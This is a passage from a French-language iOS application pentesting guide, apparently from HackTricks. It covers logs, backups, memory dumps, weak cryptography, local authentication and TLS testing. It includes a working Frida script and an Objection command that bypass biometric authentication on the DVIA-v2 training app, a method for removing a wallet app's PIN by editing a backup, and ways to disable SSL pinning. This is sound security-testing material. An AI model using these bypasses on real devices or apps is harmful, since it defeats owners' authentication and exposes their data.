Pour une journalisation plus avancée, se connecter au shell de l’appareil et utiliser socat peut fournir une surveillance des logs en temps réel:
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
Suivi de commandes pour observer les activités des logs, ce qui peut être précieux pour diagnostiquer des problèmes ou identifier d’éventuelles fuites de données dans les logs.
Sauvegardes
Les fonctionnalités d’auto-sauvegarde sont intégrées à iOS, facilitant la création de copies des données de l’appareil via iTunes (jusqu’à macOS Catalina), Finder (à partir de macOS Catalina) ou iCloud. Ces sauvegardes comprennent presque toutes les données de l’appareil, à l’exception d’éléments très sensibles comme les détails Apple Pay et les configurations Touch ID.
Risques de sécurité
L’inclusion des apps installées et de leurs données dans les sauvegardes soulève la problématique de potentielles fuites de données et le risque que des modifications des sauvegardes puissent altérer le fonctionnement de l’app. Il est conseillé de ne pas stocker d’informations sensibles en plaintext dans le répertoire d’une app ou ses sous-répertoires pour atténuer ces risques.
Exclusion de fichiers des sauvegardes
Les fichiers dans Documents/ et Library/Application Support/ sont sauvegardés par défaut. Les développeurs peuvent exclure des fichiers ou répertoires spécifiques des sauvegardes en utilisant NSURL setResourceValue:forKey:error: avec la clé NSURLIsExcludedFromBackupKey. Cette pratique est cruciale pour empêcher que des données sensibles soient incluses dans les sauvegardes.
Tester les vulnérabilités
Pour évaluer la sécurité des sauvegardes d’une app, commencez par créer une sauvegarde en utilisant Finder, puis localisez-la en suivant les instructions de la documentation officielle d’Apple. Analysez la sauvegarde à la recherche de données sensibles ou de configurations pouvant être modifiées pour affecter le comportement de l’app.
Des informations sensibles peuvent être recherchées à l’aide d’outils en ligne de commande ou d’applications comme iMazing. Pour les sauvegardes chiffrées, la présence du chiffrement peut être confirmée en vérifiant la clé “IsEncrypted” dans le fichier “Manifest.plist” à la racine de la sauvegarde.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
Pour gérer les sauvegardes chiffrées, des scripts Python disponibles dans le dépôt GitHub de DinoSec, comme backup_tool.py et backup_passwd.py, peuvent être utiles, bien qu’ils puissent nécessiter des ajustements pour être compatibles avec les dernières versions d’iTunes/Finder. L’outil iOSbackup est une autre option pour accéder aux fichiers contenus dans des sauvegardes protégées par mot de passe.
Modification du comportement de l’application
Un exemple de modification du comportement d’une app via des altérations de la sauvegarde est montré dans l’app Bither bitcoin wallet app, où le UI lock PIN est stocké dans net.bither.plist sous la clé pin_code. Supprimer cette clé du plist et restaurer la sauvegarde supprime l’exigence du PIN, offrant un accès sans restriction.
Résumé sur les tests mémoire pour les données sensibles
Lorsqu’on traite des informations sensibles stockées dans la mémoire d’une application, il est crucial de limiter le temps d’exposition de ces données. Il existe deux approches principales pour examiner le contenu de la mémoire : creating a memory dump et analyzing the memory in real time. Les deux méthodes présentent des défis, notamment le risque de passer à côté de données critiques pendant le processus de dump ou l’analyse.
Récupération et analyse d’un Memory Dump
Pour les appareils jailbroken et non-jailbroken, des outils comme objection et Fridump permettent de dumper la mémoire d’un process d’app. Une fois le dump réalisé, l’analyse de ces données nécessite différents outils, selon la nature des informations recherchées.
Pour extraire des chaînes depuis un memory dump, des commandes telles que strings ou rabin2 -zz peuvent être utilisées :
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
Pour une analyse plus détaillée, y compris la recherche de types de données ou de motifs spécifiques, radare2 offre des capacités de recherche étendues :
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
Analyse de la mémoire à l’exécution
r2frida fournit une alternative puissante pour inspecter la mémoire d’une application en temps réel, sans avoir besoin d’un memory dump. Cet outil permet d’exécuter des commandes de recherche directement sur la mémoire de l’application en cours d’exécution:
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
Cryptographie défaillante
Processus de mauvaise gestion des clés
Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un peu de reversing pourrait permettre aux attaquants d’extraire les informations confidentielles.
Utilisation d’algorithmes non sécurisés et/ou obsolètes
Les développeurs ne devraient pas utiliser des algorithmes obsolètes pour effectuer des checks d’autorisation, stocker ou envoyer des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1… Si des hashes sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force doivent être utilisés avec du sel.
Vérification
Les principaux contrôles à effectuer consistent à rechercher si vous pouvez trouver des mots de passe/secrets hardcoded dans le code, s’ils sont prévisibles, et si le code utilise une sorte d’faible cryptographie.
Il est intéressant de savoir que vous pouvez monitor certaines crypto libraries automatiquement en utilisant objection avec :
ios monitor crypt
For plus d’informations sur les API cryptographiques et les bibliothèques iOS, consultez https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
Authentification locale
Authentification locale joue un rôle crucial, notamment lorsqu’il s’agit de protéger l’accès à un endpoint distant via des méthodes cryptographiques. L’essentiel est que, sans une mise en œuvre correcte, les mécanismes d’authentification locale peuvent être contournés.
Apple’s Local Authentication framework et le keychain fournissent des API robustes permettant aux développeurs d’afficher des dialogues d’authentification utilisateur et de gérer de manière sécurisée les données secrètes, respectivement. Le Secure Enclave protège l’empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques.
Pour intégrer Touch ID/Face ID, les développeurs ont deux choix d’API :
LocalAuthentication.frameworkpour une authentification utilisateur de haut niveau sans accès aux données biométriques.Security.frameworkpour un accès de bas niveau aux services du keychain, sécurisant les données secrètes avec une authentification biométrique. Divers open-source wrappers facilitent l’accès au keychain.
Caution
Cependant, both
LocalAuthentication.frameworketSecurity.frameworkprésentent des vulnérabilités, car ils renvoient principalement des valeurs booléennes sans transmettre de données pour les processus d’authentification, ce qui les rend susceptibles d’être contournés (voir Don’t touch me that way, by David Lindner et al).
Implémentation de l’authentification locale
Pour inviter les utilisateurs à s’authentifier, les développeurs doivent utiliser la méthode evaluatePolicy de la classe LAContext, en choisissant entre :
deviceOwnerAuthentication: Propose Touch ID ou le device passcode, échoue si aucun n’est activé.deviceOwnerAuthenticationWithBiometrics: Propose exclusivement Touch ID.
Une authentification réussie est indiquée par une valeur booléenne renvoyée par evaluatePolicy, ce qui met en évidence une faille de sécurité potentielle.
Authentification locale avec le keychain
Mettre en œuvre l’authentification locale dans les apps iOS implique l’utilisation des API du keychain pour stocker de manière sécurisée des données secrètes telles que des tokens d’authentification. Ce processus garantit que les données ne peuvent être accessibles que par l’utilisateur, en utilisant son device passcode ou une authentification biométrique comme Touch ID.
Le keychain permet de définir des items avec l’attribut SecAccessControl, qui restreint l’accès à l’item jusqu’à ce que l’utilisateur s’authentifie avec succès via Touch ID ou le device passcode. Cette fonctionnalité est cruciale pour renforcer la sécurité.
Les exemples ci‑dessous en Swift et Objective‑C montrent comment sauvegarder et récupérer une chaîne dans/depuis le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d’accès pour exiger l’authentification Touch ID et s’assurer que les données sont accessibles uniquement sur l’appareil où elles ont été configurées, à condition qu’un device passcode soit configuré.
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
Nous pouvons maintenant demander l’élément enregistré dans le keychain. Keychain services afficheront la boîte de dialogue d’authentification à l’utilisateur et renverront des données ou nil selon qu’un fingerprint approprié a été fourni ou non.
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
Détection
L’utilisation de frameworks dans une app peut également être détectée en analysant la liste des bibliothèques dynamiques partagées du binaire de l’app. Cela peut être fait en utilisant otool:
$ otool -L <AppName>.app/<AppName>
Si LocalAuthentication.framework est utilisé dans une application, la sortie contiendra les deux lignes suivantes (rappelez-vous que LocalAuthentication.framework utilise Security.framework en interne) :
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
If Security.framework is used, only the second one will be shown.
Local Authentication Framework Bypass
Objection
Grâce à l’Objection Biometrics Bypass, situé sur this GitHub page, une technique permet de contourner le mécanisme LocalAuthentication. L’idée principale consiste à utiliser Frida pour manipuler la fonction evaluatePolicy, afin qu’elle retourne systématiquement True, quelle que soit la réussite réelle de l’authentification. Ceci est particulièrement utile pour contourner des processus d’authentification biométrique défaillants.
Pour activer ce bypass, on utilise la commande suivante :
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
Cette commande déclenche une séquence où Objection enregistre une tâche qui modifie effectivement le résultat de la vérification evaluatePolicy pour qu’il soit True.
Frida
Un exemple d’utilisation de evaluatePolicy depuis DVIA-v2 application:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
Pour réaliser le bypass de l’authentification locale, un script Frida est écrit. Ce script cible la vérification evaluatePolicy, en interceptant son callback pour s’assurer qu’il retourne success=1. En modifiant le comportement du callback, la vérification d’authentification est effectivement bypassed.
Le script ci-dessous est injecté pour modifier le résultat de la méthode evaluatePolicy. Il change le résultat du callback pour indiquer systématiquement success.
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
Pour injecter le script Frida et contourner l’authentification biométrique, la commande suivante est utilisée :
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
Exposition de fonctionnalités sensibles via IPC
Custom URI Handlers / Deeplinks / Custom Schemes
iOS Custom URI Handlers / Deeplinks / Custom Schemes
Universal Links
UIActivity Sharing
UIPasteboard
App Extensions
WebViews
Serialisation and Encoding
iOS Serialisation and Encoding
Network Communication
Il est important de vérifier qu’aucune communication n’a lieu sans chiffrement et aussi que l’application valide correctement le certificat TLS du serveur.
Pour vérifier ce type de problèmes, vous pouvez utiliser un proxy comme Burp :
Hostname check
Un problème fréquent lors de la validation d’un certificat TLS est de vérifier que le certificat a été signé par une CA trusted, mais de ne pas vérifier si le hostname du certificat correspond bien au hostname accédé.
Pour tester ce problème avec Burp, après avoir fait confiance à la Burp CA sur l’iPhone, vous pouvez créer un nouveau certificat avec Burp pour un hostname différent et l’utiliser. Si l’application continue de fonctionner, alors elle est vulnérable.
Certificate Pinning
Si une application utilise correctement le SSL Pinning, elle ne fonctionnera que si le certificat est celui attendu. Lors des tests d’une application, cela peut être un problème car Burp servira son propre certificat.
Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l’application SSL Kill Switch ou installer Burp Mobile Assistant
Vous pouvez aussi utiliser objection’s ios sslpinning disable
Misc
- Dans
/System/Libraryvous pouvez trouver les frameworks installés sur l’appareil utilisés par les applications système - Les applications installées par l’utilisateur depuis l’App Store se trouvent dans
/User/Applications - Et
/User/Librarycontient les données sauvegardées par les applications au niveau utilisateur - Vous pouvez accéder à
/User/Library/Notes/notes.sqlitepour lire les notes enregistrées dans l’application. - À l’intérieur du dossier d’une application installée (
/User/Applications/<APP ID>/) vous pouvez trouver des fichiers intéressants : iTunesArtwork: l’icône utilisée par l’appiTunesMetadata.plist: informations de l’app utilisées dans l’App Store/Library/*: contient les préférences et le cache. Dans/Library/Cache/Snapshots/*vous pouvez trouver le snapshot effectué de l’application avant de l’envoyer en arrière-plan.
Hot Patching/Enforced Updateing
Les développeurs peuvent patcher à distance toutes les installations de leur app instantanément sans avoir à soumettre de nouveau l’application sur l’App Store et attendre son approbation.
Pour cela on utilise généralement JSPatch. Mais il existe d’autres options comme Siren et react-native-appstore-version-checker.
C’est un mécanisme dangereux qui pourrait être abusé par des SDK tiers malveillants ; il est donc recommandé de vérifier quelle méthode est utilisée pour les mises à jour automatiques (si elle existe) et de la tester. Vous pouvez essayer de télécharger une version antérieure de l’app à cet effet.
Third Parties
Un défi important avec les 3rd party SDKs est le manque de contrôle granulaire sur leurs fonctionnalités. Les développeurs doivent choisir : intégrer le SDK et accepter toutes ses fonctionnalités, y compris les potentielles vulnérabilités et atteintes à la vie privée, ou renoncer complètement à ses avantages. Souvent, les développeurs ne peuvent pas corriger eux-mêmes les vulnérabilités au sein de ces SDK. De plus, à mesure qu’un SDK gagne la confiance de la communauté, certains peuvent commencer à contenir du malware.
Les services fournis par des SDK tiers peuvent inclure le tracking du comportement utilisateur, l’affichage de publicités ou des améliorations de l’expérience utilisateur. Cependant, cela introduit un risque car les développeurs ne connaissent pas forcément tout le code exécuté par ces bibliothèques, ce qui peut conduire à des risques pour la vie privée et la sécurité. Il est crucial de limiter les informations partagées avec des services tiers à ce qui est strictement nécessaire et de s’assurer qu’aucune donnée sensible n’est exposée.
L’implémentation de services tiers se fait généralement sous la forme d’une librairie autonome ou d’un SDK complet. Pour protéger la vie privée des utilisateurs, toute donnée partagée avec ces services devrait être anonymisée afin d’éviter la divulgation d’informations personnelles identifiables (PII).
Pour identifier les librairies utilisées par une application, la commande otool peut être utilisée. Cet outil doit être exécuté contre l’application et chaque bibliothèque partagée qu’elle utilise pour découvrir des librairies supplémentaires.
otool -L <application_path>
Vulnérabilités intéressantes et études de cas
Air Keyboard Remote Input Injection
Itunesstored Bookassetd Sandbox Escape
Zero Click Messaging Image Parser Chains
Références & Ressources supplémentaires
- https://blog.calif.io/p/taking-apart-ios-apps-anti-debugging
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/
- https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage
- https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060
- https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064
- https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ Cours iOS gratuit(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< version Objective-C https://github.com/OWASP/iGoat-Swift <<< version Swift
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


